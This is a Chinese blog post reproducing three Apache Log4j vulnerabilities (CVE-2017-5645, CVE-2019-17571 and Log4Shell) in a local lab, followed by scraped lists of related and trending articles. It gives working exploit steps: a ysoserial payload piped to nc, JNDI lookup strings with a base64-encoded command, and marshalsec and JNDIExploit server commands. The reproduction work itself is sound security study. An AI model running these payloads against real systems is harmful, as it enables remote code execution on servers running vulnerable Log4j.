文章目录

  • 1. Apache Log4j Server 反序列化命令执行漏洞(CVE-2017-5645)
    • 利用条件
    • 利用
  • 2. CVE-2019-17571
    • 利用条件
    • 利用
  • 3. apache log4j rce
    • 利用条件
    • 环境搭建
    • 利用
    • 补充:命令执行部分
    • 总结
    • 补充:如何将其变成正常的JNDI注入(及可加载攻击者自定义的class文件)
    • 二次总结

1. Apache Log4j Server 反序列化命令执行漏洞(CVE-2017-5645)

Apache Log4j是一个用于Java的日志记录库,其支持启动远程日志服务器。Apache Log4j 2.8.2之前的2.x版本中存在安全漏洞。攻击者可利用该漏洞执行任意代码。

利用条件

  1. 版本大于2小于2.82
  2. 有反序列化的利用链,因为这个漏洞只是提供给你一个让你传递反序列化数据的入口而已,至于能不能rce则是取决于被攻击机器上有没有完整的利用链

利用

我们假设被攻击机器上有CC5的利用链,那么利用payload如下:

java -jar ysoserial-master-v0.0.5-gb617b7b-16.jar CommonsCollections5 "touch /tmp/success" | nc your-ip 4712

2. CVE-2019-17571

log4j是Apache开发的一个日志工具。可以将Web项目中的日志输出到控制台,文件,GUI组件,甚至是套接口服务器。本次出现漏洞就是因为log4j在启动套接口服务器后,对监听端口传入的反序列化数据没有进行过滤而造成的。下面我们以log4j-1.2.17.jar的源码来进行分析。

利用条件

  1. 版本1.2.4 <= Apache Log4j <= 1.2.17(最新版)
  2. 有反序列化的利用链,因为这个漏洞只是提供给你一个让你传递反序列化数据的入口而已,至于能不能rce则是取决于被攻击机器上有没有完整的利用链

利用

我们假设被攻击机器上有CC5的利用链,那么利用payload如下:

java -jar ysoserial-master-v0.0.5-gb617b7b-16.jar CommonsCollections5 "touch /tmp/success" | nc your-ip 4712

log4j<=1.2.17反序列化漏洞(CVE-2019-17571)分析

3. apache log4j rce

原理:https://mp.weixin.qq.com/s/K74c1pTG6m5rKFuKaIYmPg

总结一下就是,日志中${}中的部分会被当作lookup函数的参数。

apacjhe log4j中的lookup作用是方便系统将特殊的值添加到日志之中,例如${hostname}就是主机名。


漏洞代码在log4j-core与log4j-api这两个jar包中。
漏洞代码在log4j-core与log4j-api这两个jar包中。
漏洞代码在log4j-core与log4j-api这两个jar包中。

环境:https://github.com/shanfenglan/apache_log4j_poc

利用条件

2.0 <= Log4j -2 <= 2.14.1

环境搭建

依赖的xml配置在这里查找:https://mvnrepository.com/artifact/org.slf4j/slf4j-api/1.7.25

使用idea创建一个Maven项目,并在pom.xml中添加漏洞版本Apache log4j的相关依赖,分别为log4j-core与log4j-api,最终完整的含具体pom.xml文件如下:

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"><modelVersion>4.0.0</modelVersion><groupId>org.example</groupId><artifactId>log4j-rce</artifactId><version>1.0-SNAPSHOT</version><dependencies><!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core --><dependency><groupId>org.apache.logging.log4j</groupId><artifactId>log4j-core</artifactId><version>2.14.1</version></dependency><!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-api --><dependency><groupId>org.apache.logging.log4j</groupId><artifactId>log4j-api</artifactId><version>2.14.1</version></dependency></dependencies></project>

然后创建一个java文件内容如下:

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;public class Log4j {private static final Logger logger = LogManager.getLogger(Log4j.class);public static void main(String[] args) {logger.error("${jndi:ldap://192.168.171.1:12344/a}");}
}


执行这个java文件即可利用漏洞。
Maven项目pom.xml文件浅析
https://github.com/tangxiaofeng7/apache-log4j-poc

利用

poc:

${jndi:ldap://192.168.171;1:12344/Basic/Command/whoami}

命令执行部分我在linux与windows都未复现成功,不过看github上有人说windows下环境可以复现成功。


补充:命令执行部分

这个命令执行是本地的命令执行,也就是说恶意的class文件必须得和漏洞利用点所在的文件在同一文件夹或者同一个jar包内,举例如下:

log4j这个class是漏洞文件,执行后可以利用漏洞。
Log4jRCE是恶意的class文件,作用是在tmp下创建一个文件,名为123。
Tttouch是恶意的class文件,作用是在tmp下创建一个文件,名为1.txt。


我们先看看log4j.java的内容:

启动jndi服务端命令:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8888/#Tttouch"

当上述三个class文件在同一文件夹内的时候,执行这个log4j之后tmp结果如下:


此时我们将Tttouch.class移动到另一个文件夹下,反正不与log4j放在同一文件夹:

此时再次执行log4j,tmp文件夹中无新增文件:


1.txt并没有被创建

此时我们复制一个Tttouch.class放在和log4j在同一文件夹下,然后将jndi服务器路径下的Tttouch删掉,接着执行log4j:


1.txt再次出现了!!要知道,我们JNDI服务器根本没有这个类!

总结

这个漏洞给我的感觉是可以触发jndi注入,但是不会从我们的jndi服务器上拉取任何文件,而是仅仅判断这个文件本地是否存在,存在则执行,不存在则不执行。传统的jndi注入受害者会想下载我们创建的恶意class文件并实例化,此次好像并不是这样。

补充:如何将其变成正常的JNDI注入(及可加载攻击者自定义的class文件)

条件:如果我们使用LDAP方式的jndi注入,受害者服务器的代码中java的配置必须是com.sun.jndi.ldap.object.trustURLCodebase=True。

JDK中的默认配置如下:

JDK 5U45、6U45、7u21、8u121开始java.rmi.server.useCodebaseOnly默认位置true
JDK 6u132、7u122、8u113开始com.sun.jndi.rmi.object.trustURLCodebase默认值false
JDK 11.0.1、8u191、7u201、6u211 com.sun.jndi.ldap.object.trustURLCodebase默认为false


因此我们需要在log4j的代码中加上:

System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");

最终代码如下:

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;public class Log4j {private static final Logger logger = LogManager.getLogger(Log4j.class);public static void main(String[] args) {//dG91Y2ggL3RtcC8xMjM 是touch /tmp/123的base64编码System.out.println("开始执行漏洞利用");System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");logger.error("${jndi:ldap://127.0.0.1:12344/Basic/Command/Base64/dG91Y2ggL3RtcC8xMjM}");System.out.println("利用完成");}
}

执行命令:

使用JNDIExploit开启jndi服务器:

java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 192.168.171.1 -l 12344 -p 9999

参考文章:https://www.codenong.com/f23e29b783ff38df36c9/

二次总结

JNDI注入原理及利用

JDNI注入由于其加载动态类原理是JNDI Reference远程加载Object Factory类的特性(使用的不是RMI Class Loading,而是URLClassLoader)。

这个漏洞的利用跟JDK中的配置有很大关系,换句话说跟jdk版本关系很大。
只要JDK版本无漏洞,那么apache log4j的这个RCE就很难利用成功。

apache log4j漏洞复现相关推荐

  1. 网安大事件丨Fortinet对Apache Log4j漏洞利用的全面复盘与防御

    起底Apache Log4j漏洞: 如何出现.如何被利用与如何防御 受影响平台: 任何使用Log4j2漏洞版本的应用程序和服务 受影响用户: 任何使用Log4j的具备该漏洞版本的组织 影响: 远程攻击 ...

  2. Apache Log4j2漏洞复现

    0x00 前言 慢慢的距离上次写文章已过去了377天,这一年发生了好多好多的事,经历了好多好多的变故,或喜或悲.或分或合.起起落落,整整的一年了得,没怎么好好学习,没怎么认真的钻研技术,对自己表示很抱 ...

  3. Apache log4j漏洞总结

    目录 log4j简介 工具链接 漏洞复现 CVE-2017-5645(Log4j反序列化漏洞) 环境搭建 漏洞原理 影响版本 漏洞复现 CVE-2021-44228(Log4j 2远程代码执行漏洞) ...

  4. Log4j 漏洞复现

    漏洞说明: 前端时间 出现这个漏洞,各大公司 安全部都去做相应的防护和修复措施,网上公开漏洞 poc 源码很少,只听到有,但是不知道怎么复现,于是在github 上搜索找了很多的源码,都不能复现.因为 ...

  5. Apache Log4j 漏洞持续爆雷,还能安心玩论坛吗?

    这一周,各家互联网公司的程序员朋友们,都快被一个叫 Apache Log4j的史诗级漏洞给搞疯了! 这个漏洞源于一个叫 Log4J2 的 Java 开源日志框架,它在用 Java 敲代码的码农群体里可 ...

  6. Apache Log4j 漏洞(JNDI注入 CVE-2021-44228)

    漏洞 影响范围 2.0 <= Apache log4j <= 2.14.1 利用 import org.apache.log4j.Logger;import java.io.*; impo ...

  7. Apache Log4j漏洞学习笔记

    JNDI注入 LDAP 轻量级目录访问协议 ​ 可以理解为是一种目录数据库,概念上类似于马云的中国黄页.城镇电话簿这种. 比较典型的应用场景:统一登录 例如: ​ 一个公司下有很多系统比如OA.VPN ...

  8. 深入解析著名的阿里云Log4j 漏洞

    几乎每个系统都会使用日志框架,用于记录日志信息,这些信息可以提供程序运行的上下文,但是日志过多也会影响系统的性能,所以好的日志框架应该是可靠,快速和可扩展的. Apache Log4j2 是一个基于 ...

  9. 深入分析Log4j 漏洞

    几乎每个系统都会使用日志框架,用于记录日志信息,这些信息可以提供程序运行的上下文,但是日志过多也会影响系统的性能,所以好的日志框架应该是可靠,快速和可扩展的. Apache Log4j2 是一个基于 ...

最新文章

  1. 继承SectionIndexer,实现联系人侧边栏
  2. 介绍Visual Studio的Android模拟器
  3. SqlServer学习之存储过程
  4. 南开大学java考试试题_2014秋学期南开大学《Java语言程序设计》在线作业附答案...
  5. pythonweb项目面试题_python和web框架面试题目整理(1)
  6. eclipse lombok插件安装_Eclipse安装virgo插件
  7. linux修改jdk文件保存,Linux下更换jdk和配置环境变量详解
  8. java写万年历_Java 实现万年历总结
  9. cbv本质,前后端交互编码方式,django模板使用的2种方式,模板语法
  10. mysql姓名三位随机_Mysql之生成随机数,随机字符串,随机姓名
  11. Java小白 学习笔记(三)——面向对象
  12. 至简设计系列_按键控制数字时钟
  13. 前端网络基础-应用层DNS协议
  14. 用 texstudio, 外部 pdf 浏览器查看可以正常显示中文, 但是内置的 pdf 浏览器不能显示中文?
  15. 互联网晚报 | 11/21 星期一 | 31省平均工资发布;​九城不排除重新接盘暴雪魔兽世界;iPhone14Pro发货再次延期...
  16. 个体工商户核名查询_秒懂!个体工商户注册无需到窗口“预先核名”,自主申报“15图搞定”!...
  17. [1159]adb判断手机屏幕状态并点亮屏幕
  18. 【数据结构与算法】之动态规划经典问题
  19. 供应链管理问题会否导致小米在印度市场受挫?
  20. 网上买充电宝怎么选?网上选充电宝的技巧

热门文章

  1. rust 模块/文件/project
  2. 物流、节点、直播……三大实际运用案例看懂5G无人机!
  3. Android中根据dialog的展示与否控制软键盘的显示与隐藏
  4. Redis学习 master/slave(主从)、sentinel(哨兵)、Cluster简单总结
  5. 学习全栈在线教育实战项目(尚硅谷) 第一天
  6. C语言见缝插针游戏,见缝插针玩游戏
  7. 深度linux系统,深度操作系统
  8. python把英语句子成分字母_英语句子成分和英语句子结构讲解及练习
  9. IIC,SPI,UART,单总线
  10. dubbo官方文档_Dubbo(一)